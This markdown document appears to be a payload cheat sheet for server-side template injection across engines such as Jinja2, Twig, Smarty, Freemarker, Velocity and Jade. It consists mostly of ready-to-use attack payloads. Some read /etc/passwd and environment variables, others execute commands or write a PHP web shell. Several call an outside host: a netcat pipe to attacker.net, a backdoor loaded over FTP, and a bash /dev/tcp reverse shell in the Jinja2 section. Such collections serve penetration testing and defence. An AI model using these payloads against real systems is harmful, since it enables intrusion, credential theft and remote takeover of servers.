# Templates Injections

> Template injection allows an attacker to include template code into an existant (or not) template.     

Recommended tool: [Tplmap](https://github.com/epinna/tplmap)
e.g:
```
./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
```


## Ruby
### Basic injection
```python
<%= 7 * 7 %>
```

### Retrieve /etc/passwd
```python
<%= File.open('/etc/passwd').read %>
```


## Java
### Basic injection
```java
${{7*7}}
```

### Retrieve the system’s environment variables.
```java
${T(java.lang.System).getenv()}
```

### Retrieve /etc/passwd
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```

## Twig
### Basic injection
```python
{{7*7}}
{{7*'7'}} would result in 49
```

### Template format
```python
$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)
);

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)
);
```

### Code execution
```python
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```


## Smarty
```python
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
```

## Freemarker
Default functionality.
```python
<#assign
ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
```

## Jade / Codepen
```python
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```

## Velocity
```python
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```

## Mako
```python
<%
import os
x=os.popen('id').read()
%>
${x}
```


## Jinja2
[Official website](http://jinja.pocoo.org/)
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.


### Basic injection
```python
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```

Jinja2 is used by Python Web Frameworks such as Django or Flask.
The above injections have been tested on Flask application.
### Template format
```python
{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

```

### Dump all used classes
```python
{{ ''.__class__.__mro__[2].__subclasses__() }}
```

### Dump all config variables
```python
{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}
```

### Read remote file
```python
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
```

### Write into remote file
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```

### Remote Code Execution via reverse shell
Listen for connexion
```
nv -lnvp 8000
```
Inject this template
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  # load the evil config
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host
```

## Thanks to
 * [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
 * [Yahoo! RCE via Spring Engine SSTI](https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/)
 * [Ruby ERB Template injection - TrustedSec](https://www.trustedsec.com/2017/09/rubyerb-template-injection/)
 * [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98)
 * [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)